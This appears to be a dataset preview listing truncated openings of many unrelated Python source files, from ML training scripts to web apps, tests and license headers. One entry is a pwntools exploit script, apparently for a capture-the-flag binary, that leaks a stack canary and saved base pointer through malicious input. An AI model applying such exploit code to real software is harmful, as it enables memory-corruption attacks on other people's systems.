text
stringlengths
2
999k
# -*- coding: utf-8 -*- # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, softwa...
import torch.nn as nn from .bbox_head import BBoxHead from ..utils import ConvModule class ConvFCRoIHead(BBoxHead): """More general bbox head, with shared conv and fc layers and two optional separated branches. /-> cls convs -> cls fcs -> cls shared convs -> shared fcs ...
from typing import Dict from sqlalchemy import MetaData, Table class SqlAlchemyTables: metadata: MetaData tables: Dict[str, Table] def __init__(self, metadata: MetaData): self.metadata = metadata self.tables = {} def __getitem__(self, key: str) -> Table: return self.tables[k...
#!/usr/bin/python # Copyright 2015 The Chromium OS Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Subcommand codes that specify the crypto module.""" # Keep these codes in sync with include/extension.h. AES = 0 HASH = 1 RSA = 2
# qubit number=4 # total number=41 import cirq import qiskit from qiskit import IBMQ from qiskit.providers.ibmq import least_busy from qiskit import QuantumCircuit, QuantumRegister, ClassicalRegister from qiskit import BasicAer, execute, transpile from pprint import pprint from qiskit.test.mock import FakeVigo from ma...
from __future__ import absolute_import from importlib import import_module from sys import exc_info from traceback import format_exc from django.core.management.base import BaseCommand, CommandError from django.utils.six import iteritems from django.conf import settings from django.apps import apps class Command(Ba...
# Copyright (c) 2014 The Bitcoin Core developers # Copyright (c) 2014-2015 The Dash developers # Copyright (c) 2019 The Bluecoin developers # Distributed under the MIT/X11 software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # # Helpful routines for regression tes...
from flask import Flask, redirect, request, render_template, session, url_for, flash from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import DataRequired, ValidationError from flask_sqlalchemy import SQLAlchemy from .greeting import greet_bp from .blueprints.welcome i...
n1 = int(input('Primeiro valor: ')) n2 = int(input('Segundo valor: ')) opção = 0 while opção != 5: print(''' [1] somar [2] multiplicar [3] maior [4] novos números [5] sair do programa''') opção = int(input('Qual é a sua opção? ')) if opção == 1: soma = n1 + n2 print('A so...
def extractJoiedeVivre(item): """ """ vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title']) if not (chp or vol or frag) or 'preview' in item['title'].lower(): return None return False
# coding=utf-8 import math, sys, pygame, keymap as k from random import randint from pygame.locals import * from character import Character import os class PlayableCharacter(Character): def __init__(self, x, y, Vx=0, Vy=0, whichChar=1): Character.__init__(self, x, y, Vx, Vy, whichChar) ...
#-*- coding:utf-8 -*- from StringIO import StringIO from django.test import TestCase from .renderers import CSVRenderer from .parsers import CSVParser class TestCSVRenderer (TestCase): def test_tablize_a_list_with_no_elements(self): renderer = CSVRenderer() flat = renderer.tablize([]) ...
from typing import Tuple from plotter import plotter import math import numpy as np from ball import ball import matplotlib.pyplot as plt import copy from itertools import combinations import sys import pandas as pd from calculator import calculator import json from dataframes import results ''' there will ...
# BSD 3-Clause License # Copyright (c) 2019-2021, engageLively # All rights reserved. # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # 1. Redistributions of source code must retain the above copyright notice, this # ...
# Copyright 2017 Renato Utsch # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
from datetime import date, datetime from decimal import Decimal from functools import singledispatch import json class Stock: def __init__(self, symbol: str, date: date, open_: Decimal, high: Decimal, low: Decimal, close: Decimal, volume: int): self.symbol = symbol self.date = dat...
def pig(string): # Use built-in method to delete common punctuation marks strip_commas = string.replace(",", "") strip_period = strip_commas.replace(".", "") strip_semi_colon = strip_period.replace(";", "") # Transform string into a list for word manipulation word_list = strip_semi_colon.split(...
# Scan <Controls.h>, generating ctlgen.py. import sys import os from bgenlocations import TOOLBOXDIR, BGENDIR sys.path.append(BGENDIR) from scantools import Scanner def main(): # input = "Controls.h" # Universal Headers < 3.3 input = ["Controls.h", "ControlDefinitions.h"] # Universal Headers >= 3.3 output = "ctlgen...
# coding: utf-8 # Copyright (c) 2016, 2021, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may c...
#!/usr/bin/python -OO # Copyright 2007-2018 The SABnzbd-Team <team@sabnzbd.org> # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later...
import shutil import os from pathlib import Path from os import listdir from os.path import isfile, join from distutils import dir_util from cli.helpers.data_loader import load_template_file, types from cli.helpers.yaml_helpers import dump_all, dump from cli.helpers.Config import Config TERRAFORM_OUTPUT_DIR = 'terra...
from .base import BaseFileModel, FileColumn as col from peewee import * from helpers import utils from database.project import soils, decision_table, hru_parm_db import database.project.hru as db class Hru_data_hru(BaseFileModel): def __init__(self, file_name, version=None): self.file_name = file_name self.versi...
#!/usr/bin/env python ############################################################################## ## # This file is part of Sardana ## # http://www.sardana-controls.org/ ## # Copyright 2011 CELLS / ALBA Synchrotron, Bellaterra, Spain ## # Sardana is free software: you can redistribute it and/or modify # it under th...
from sqlalchemy import Column, Integer, String, create_engine, MetaData from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import sessionmaker import pandas as pd from settings import ENGINE_STRING Base = declarative_base() class ExtractedSkill(Base): """Extracted Skills Table""" __...
import math while True: a = float(input('a\n')) b = float(input('b\n')) c = float(input('c\n')) if a + b < c or a + c < b or b + c < a: print('无法组成三角形') continue else: p = 1 / 2 * (a + b + c) z = math.sqrt(p * (p - a) * (p - b) * (p - c)) print('三角形面积为', z) ...
# (c) Copyright IBM Corporation 2020. # LICENSE: Apache License 2.0 (Apache-2.0) # http://www.apache.org/licenses/LICENSE-2.0 import numpy as np import gc import tensorflow as tf from lrtc_lib.active_learning.strategies import ActiveLearningStrategies from lrtc_lib.orchestrator import orchestrator_api from lrtc_lib...
# Copyright (c) 2011-2020 Eric Froemling # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish,...
#!/usr/bin/env python3 # Copyright 2017 The Kubernetes Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appl...
import imp import numpy as np from PIL import Image from PyQt5.QtGui import QImage def smart_crop_image(image, x1, y1, x2, y2): """智能图像crop Args: image (numpy): 输入图像 x1 (int): 左上角x坐标 y1 (int): 左上角y坐标 x2 (int): 右下角x坐标 y2 (int): 右下角y坐标 Returns: numpy: crop得到...
from pwn import * import time r = process('./awsum_quotes') if args.GDB: raw_input('attach GDB') T_PAUSE = 0.02 OFFS_TEXT_CANARY = 0x58 OFFS_AUTHOR_CANARY = 0x78 OFFS_TEXT_CODE = 0x68 # 1st malicious quote -> LEAK CANARY + SAVED BP r.sendline(b'3') # Add quote menu # overwrite canary's least significant byte r....
import os import pandas as pd import numpy as np import geopandas as gpd import pygeos from tqdm import tqdm from rasterstats import zonal_stats import pyproj import warnings warnings.filterwarnings("ignore") from multiprocessing import Pool,cpu_count def reproject(geometries): #Find crs of current df and arbitra...
import functools import logging import traceback import pytest from asynctest import MagicMock from kopf.reactor.causation import ResourceChangingCause, Reason from kopf.reactor.invocation import invoke, is_async_fn from kopf.structs.patches import Patch STACK_TRACE_MARKER = object() def _find_marker(): marker...
#!/usr/bin/env python # -*- coding: utf-8 -*- """ | This file is part of the web2py Web Framework | Copyrighted by Massimo Di Pierro <mdipierro@cs.depaul.edu> | License: LGPLv3 (http://www.gnu.org/licenses/lgpl.html) Support for smart import syntax for web2py applications ----------------------------------------------...
#!/usr/bin/env python3 from data import MetaLearningSystemDataLoader from experiment_builder import ExperimentBuilder from few_shot_learning_system import MAMLFewShotClassifier from utils.dataset_tools import maybe_unzip_dataset import torch from omegaconf import OmegaConf import hydra from setproctitle import setp...
from operator import attrgetter import pyangbind.lib.xpathhelper as xpathhelper from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType, RestrictedClassType, TypedListType from pyangbind.lib.yangtypes import YANGBool, YANGListType, YANGDynClass, ReferenceType from pyangbind.lib.base import PybindBase from d...
import collections import unittest import time from detectr.parser import SystemCall from detectr.piddetails import PidDetails class AlertEntry(): def __init__( self, pid: int, funcname: str, line: str, anomaly: bool, score: float ...
import numpy as np class DimensionalityError(ValueError): pass class LinearDependenceError(ValueError): pass def isomorphism(frame1, frame2): ''' Takes two bases and returns their standard matrix representation. Args: frame1: N x N np.ndarray frame2: N x N np.ndarray Ret...
# Copyright 2013-2022 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) # Although zlib comes with a configure script, it does not use Autotools # The AutotoolsPackage causes zlib to fail to bu...
from typing import Any from flask_babel import lazy_gettext as _ from sqlalchemy import or_ from sqlalchemy.orm.query import Query from rabbitai.models.annotations import Annotation from rabbitai.views.base import BaseFilter class AnnotationAllTextFilter(BaseFilter): # pylint: disable=too-few-public-methods na...
# Author: Zylo117 """ COCO-Style Evaluations put images here datasets/your_project_name/val_set_name/*.jpg put annotations here datasets/your_project_name/annotations/instances_{val_set_name}.json put weights here /path/to/your/weights/*.pth change compound_coef """ import json import os import argparse import tor...
""" Routines to summarize and report tabular data. """ from __future__ import print_function def comment_banner(s, width=50): line = "#" * 50 return "\n".join((line, "#", "# " + s.strip(), "#", line)) def banner(header, rows, major='=', minor='-'): formatted = [header] + rows rulersize = max(max(len...
from typing import Any, Callable, Dict, Iterable, List import spotipy from spotipy.oauth2 import SpotifyOAuth from . import constants from .types import Track def get_saved_tracks() -> List[Track]: """Gets list of saved tracks using Spotify API. Returns ------- List[Track] list of users sav...
#!/usr/bin/python # # Copyright 2015 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required b...
"""Binary classes""" from __future__ import print_function import binascii import gzip import logging import os import shutil import struct import subprocess import sys import tarfile import tempfile import zipfile from collections import OrderedDict from json import dumps import h5py import pysam import pysam.bcftoo...
from django.conf import settings def get_tracking_id(request): google_tracking_id = getattr(settings, 'GOOGLE_ANALYTICS_KEY', False) if not settings.DEBUG and google_tracking_id: return { 'GOOGLE_ANALYTICS_KEY': google_tracking_id, } return {}
import torch import numpy as np import matplotlib.pyplot as plt import seaborn as sns import sys from gpsa import VariationalGPSA, matern12_kernel, rbf_kernel, LossNotDecreasingChecker from gpsa.plotting import callback_twod sys.path.append("../../data") from simulated.generate_twod_data import generate_twod_data im...
# Copyright 2016 The Johns Hopkins University Applied Physics Laboratory # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required ...
from __future__ import unicode_literals import io import sys from .sanitizer import Sanitizer sanitizer = Sanitizer() if len(sys.argv) > 1: for filename in sys.argv[1:]: with io.open(filename) as f: print(sanitizer.sanitize(f.read())) else: print(sanitizer.sanitize(sys.stdin.read()).enc...
import numpy as np import torch from dltranz.data_load import IterableProcessingDataset class TakeFirstTrx(IterableProcessingDataset): def __init__(self, take_first_fraction=0.5, seq_len_col=None, sequence_col=None): """ Args: take_first_fraction: control the fraction of transactions ...
#AUTOGENERATED BY NBDEV! DO NOT EDIT! __all__ = ["index", "modules"] index = {"get_master": "18_callback_fp16.ipynb", "to_master_grads": "18_callback_fp16.ipynb", "to_model_params": "18_callback_fp16.ipynb", "test_overflow": "18_callback_fp16.ipynb", "grad_overflow": "18_callback_f...
# coding: utf-8 # Copyright (c) Pymatgen Development Team. # Distributed under the terms of the MIT License. """ This module provides various representations of transformed structures. A TransformedStructure is a structure that has been modified by undergoing a series of transformations. """ import datetime import js...
# Copyright 2021 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
from flask import Flask, request, redirect from analytics import service as analytics_service from shortening import service as shortening_service from shortening.exceptions import URLNotFound from users import service as registration_service from users.authentication import service as authentication_service from user...
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
from setuptools import setup, find_packages with open("README.md", "r") as readme_file: readme = readme_file.read() requirements = ["ipython>=6", "nbformat>=4", "nbconvert>=5", "request>=2"] setup( name="galileo-notebook", version="0.0.2", author="Mauricio Feldman-Abe, Jeff Hale", author_email="spamme@spep...
""" @Author: huuuuusy @GitHub: https://github.com/huuuuusy 系统: Ubuntu 18.04 IDE: VS Code 1.36 工具: python == 3.7.3 """ """ 思路: 经典的二分查找题,需要仔细理解二分查找的细节点,参考链接讲解的很清晰 参考链接: https://leetcode-cn.com/problems/binary-search/solution/er-fen-cha-zhao-xiang-jie-by-labuladong/ 结果: 执行用时 : 364 ms, 在所有 Python3 提交中击败了34.1...
import feedparser import os import requests from datetime import datetime from dateutil.parser import parse from dateutil import tz from pytz import timezone from sanitize_filename import sanitize import configKeys class podcatcher: def __init__(self, podConfig, configSection, configData): self.podCatche...
""" GadgetFOF frontend tests using gadget_fof datasets """ #----------------------------------------------------------------------------- # Copyright (c) 2013, yt Development Team. # # Distributed under the terms of the Modified BSD License. # # The full license is in the file COPYING.txt, distributed with this sof...
"""django_project_kataeva URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/3.0/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='hom...
'''Trains and evaluate a simple MLP(Multilayer perceptron) on the Reuters newswire topic classification task. ''' from __future__ import print_function import numpy as np import keras from keras.datasets import reuters from keras.models import Sequential from keras.layers import Dense, Dropout, Activation from keras.p...
""" config_dir ---------- Just stores a variable with the name of the current directory, that is the base directory of the entire filesystem. """ import os base_dir = os.path.abspath(os.path.dirname(__file__))
from django.contrib import admin from django.utils import timezone from django.utils.translation import ugettext_lazy as _ from . import filters from .. import models @admin.register(models.RefreshToken) class RefreshTokenAdmin(admin.ModelAdmin): list_display = ['user', 'token', 'created', 'revoked', 'is_expired...
r""" Plumbum Shell Combinators ------------------------- A wrist-handy library for writing shell-like scripts in Python, that can serve as a ``Popen`` replacement, and much more:: >>> from plumbum.cmd import ls, grep, wc, cat >>> ls() 'build.py\ndist\ndocs\nLICENSE\nplumbum\nREADME.rst\nsetup.py\ntests\nto...
from django.conf.urls import url from otcore.occurrence import views urlpatterns = [ ]
# -*- coding: utf-8 -*- # ----------------------------------------------------------------------------- # Copyright (c) 2016, Anaconda, Inc. All rights reserved. # # Licensed under the terms of the BSD 3-Clause License. # The full license is in the file LICENSE.txt, distributed with this software. # -------------------...
import argparse import numpy as np import tensorflow as tf import time import pickle import maddpg.common.tf_util as U from maddpg.trainer.maddpg import MADDPGAgentTrainer import tensorflow.contrib.layers as layers def parse_args(): parser = argparse.ArgumentParser("Reinforcement Learning experiments for multiage...
import argparse import json from db import Database import time import os db = Database() # 更改配置文件 def config(): config_dict = { "inbounds": [ { "port": 10086, "protocol": "vmess", "settings": { "clients": list(map(lambda use...
# # Copyright 2021. Clumio, Inc. # from typing import Any, Dict, Mapping, Optional, Sequence, Type, TypeVar T = TypeVar('T', bound='EBSRestoreSourceV1') class EBSRestoreSourceV1: """Implementation of the 'EBSRestoreSourceV1' model. The EBS volume backup to be restored. Attributes: backup_id: ...
import settings import mysql.connector from domain.domain import Article from domain.domain import Project from domain.domain import User from domain.domain import Tag import service.database as db # 文章管理 class ArticleService: # 查询最近发表的文章 def query_most_published_article(self): conn = d...
# Copyright 2020 Hsueh-Ti Derek Liu # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in w...
import os import configparser def test_tox_legacy_config(): import toml repo_root = os.path.dirname(os.path.dirname(os.path.dirname(__file__))) path = os.path.join(repo_root, 'pyproject.toml') print(path) with open(path) as f: config = toml.load(f) # load current deps current_dep...
import data from math import sqrt, ceil hilbert_map = { 'a': {(0, 0): (0, 'd'), (0, 1): (1, 'a'), (1, 0): (3, 'b'), (1, 1): (2, 'a')}, 'b': {(0, 0): (2, 'b'), (0, 1): (1, 'b'), (1, 0): (3, 'a'), (1, 1): (0, 'c')}, 'c': {(0, 0): (2, 'c'), (0, 1): (3, 'd'), (1, 0): (1, 'c'), (1, 1): (0, 'b')}, 'd': {(0, 0): ...
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
from typing import List, Tuple from asn1crypto.cms import CMSAttribute from cryptography.exceptions import InvalidSignature from flask import request, g, current_app, abort from functools import wraps from cryptography import x509 from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primit...
import asyncio from decimal import Decimal from typing import Awaitable, Optional from unittest import TestCase from unittest.mock import AsyncMock import hummingbot.connector.exchange.huobi.huobi_constants as CONSTANTS from hummingbot.connector.exchange.huobi.huobi_exchange import HuobiExchange from hummingbot.core....
from os import environ import os.path from django.urls import reverse_lazy SITE_DIR = os.path.dirname(os.path.abspath(__file__)) # Security SECRET_KEY = environ.get('SECRET_KEY', '') DEBUG = True ALLOWED_HOSTS = [] + environ.get('ALLOWED_HOSTS', '').split(',') # Application definition INSTALLED_APPS = [ '...
import bpy import random import math import time import mathutils import collections import bmesh def remove_everything(): try: bpy.ops.object.mode_set(mode="OBJECT", toggle=False) except: pass bpy.ops.object.select_all(action="DESELECT") for a in bpy.data.objects: ...
# -*- coding: utf-8 -*- import unittest import sys, os.path from bottle import request, response import tools from tools import tob import wsgiref.util class TestEnviron(unittest.TestCase): def test_path(self): """ Environ: PATH_INFO """ t = dict() t[''] = '/' t['bla'] = '/bla' ...
import os import tempfile import shutil from nose.tools import eq_ from dingus import Dingus from dingus import patch from build_pack_utils import utils from common.dingus_extension import patches class TestComposer(object): def __init__(self): self.extension_module = utils.load_extension('extensions/com...
import secrets import os from PIL import Image from flaskblog.models import User, Post from datetime import datetime from flask import render_template, url_for, flash, redirect, request, abort from flaskblog.form import RegisterationForm, LoginForm, UpdateForm, PostForm, RequestResetForm, ResetPasswordForm from flaskbl...
#! /usr/bin/env python # encoding: utf-8 # WARNING! Do not edit! https://waf.io/book/index.html#_obtaining_the_waf_file import sys from waflib.Tools import ccroot,ar,gxx from waflib.Configure import conf @conf def find_icpc(conf): cxx=conf.find_program('icpc',var='CXX') conf.get_cc_version(cxx,icc=True) conf.env.CX...
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
"""Send instance and usage analytics.""" import voluptuous as vol from homeassistant.components import websocket_api from homeassistant.const import EVENT_HOMEASSISTANT_STARTED from homeassistant.core import HomeAssistant from homeassistant.helpers.event import async_call_later, async_track_time_interval from homeassi...
from werkzeug.exceptions import NotFound, BadRequest from db import db from helpers.data_preparation import data_preparate_for_commit from helpers.loger_config import custom_logger from models import TariffTypeModel from models.tarif_el import TarifPiceModel from schemas.request.tarif_price import TarifPriceRequestSch...
from rest_framework import serializers from news.models import News class NewsSerializer(serializers.ModelSerializer): class Meta: model = News fields = ['id', 'title', 'context']
# Copyright 2017 Mycroft AI Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writin...
'''Train CIFAR100 with PyTorch.''' from __future__ import print_function import sys import os import torch import torch.nn as nn import torch.optim as optim import torch.nn.functional as F from torch.nn.utils import parameters_to_vector from torch.utils.data import SubsetRandomSampler,Dataset import torch.backends.cu...
#! /usr/bin/env python3 #-*- coding: utf-8 -*- ## # Cryptokitty Create tables # ## import pymysql,traceback import logging from contextlib import closing from tokens import Tokens logging.basicConfig(filename="createdb.log", level=logging.DEBUG) create_user_table_string = """ CREATE TABLE IF NO...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import os if __name__ == "__main__": # rename file2.txt to file3.txt os.rename("file2.txt", "file3.txt")
from __future__ import print_function, absolute_import, division from collections import namedtuple import tensorflow as tf def get_args(**kwargs): VaeArgs = namedtuple('VaeArgs', 'dim_z n_hidden learn_rate batch_size') args = { 'dim_z': 20, 'n_hidden': 500, 'learn_rate': 1e-3, ...
import numpy as np from yt.loaders import load_uniform_grid from yt.testing import assert_allclose def test_magnetic_code_units(): sqrt4pi = np.sqrt(4.0 * np.pi) ddims = (16,) * 3 data = {"density": (np.random.uniform(size=ddims), "g/cm**3")} ds1 = load_uniform_grid( data, ddims, magnetic_u...
from dash import Dash, html, dcc, Input, Output, State, clientside_callback import requests frames = requests.get( "https://raw.githubusercontent.com/IcToxi/datasets/main/bad_apple_frames.json" ).json() app = Dash(__name__) app.layout = html.Div( [ html.Pre(id="bad-apple-x-show"), dcc.Store(d...
import logging import pytest import time from .args.wr_arp_args import add_wr_arp_args from .arp_utils import collect_info, get_po from tests.common import constants from tests.common.config_reload import config_reload from ipaddress import ip_network, IPv6Network, IPv4Network from tests.arp.arp_utils import increment...
# Copyright (c) 2018 The Regents of the University of Michigan # All rights reserved. # This software is licensed under the BSD 3-Clause License. R""" The core :py:mod:`rowan` package contains functions for operating on quaternions. The core package is focused on robust implementations of key functions like multiplicat...
################################# FINAL SETTING! # model settings voxel_size = [0.05, 0.05, 0.1] point_cloud_range = [0, -40, -3, 70.4, 40, 1] # MOCO Model model = dict( # type='Inter_Intro_moco', type='Inter_Intro_moco_better', img_backbone=dict( type='ResNet', depth=50, num_stag...
import os import numpy from .base import ( _base_mesh, compute_ce_ratios, compute_tri_areas, compute_triangle_circumcenters, ) from .helpers import grp_start_len, unique_rows __all__ = ["MeshTri"] class MeshTri(_base_mesh): """Class for handling triangular meshes.""" def __init__(self, nod...
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file '.\test_Tree.ui' # # Created by: PyQt5 UI code generator 5.9 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWin...
# Copyright 2021, Kay Hayen, mailto:kay.hayen@gmail.com # # Part of "Nuitka", an optimizing Python compiler that is compatible and # integrates with CPython, but also works on its own. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in complianc...
# Copyright 2017 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import logging from google.appengine.api import oauth from dashboard.common import datastore_hooks from dashboard.common import utils OAUTH_CLIENT_ID_WHI...
import re import os # The regular expression for a POEM file name. re_poem = re.compile(r'POEM_(\d{1,3})\.md') def check_id(filename, errors): """ Raise AssertionError if the POEM ID is not 3 digits or the ID in the file doesn't match the one given in the filename. Parameters ---------- filename : ...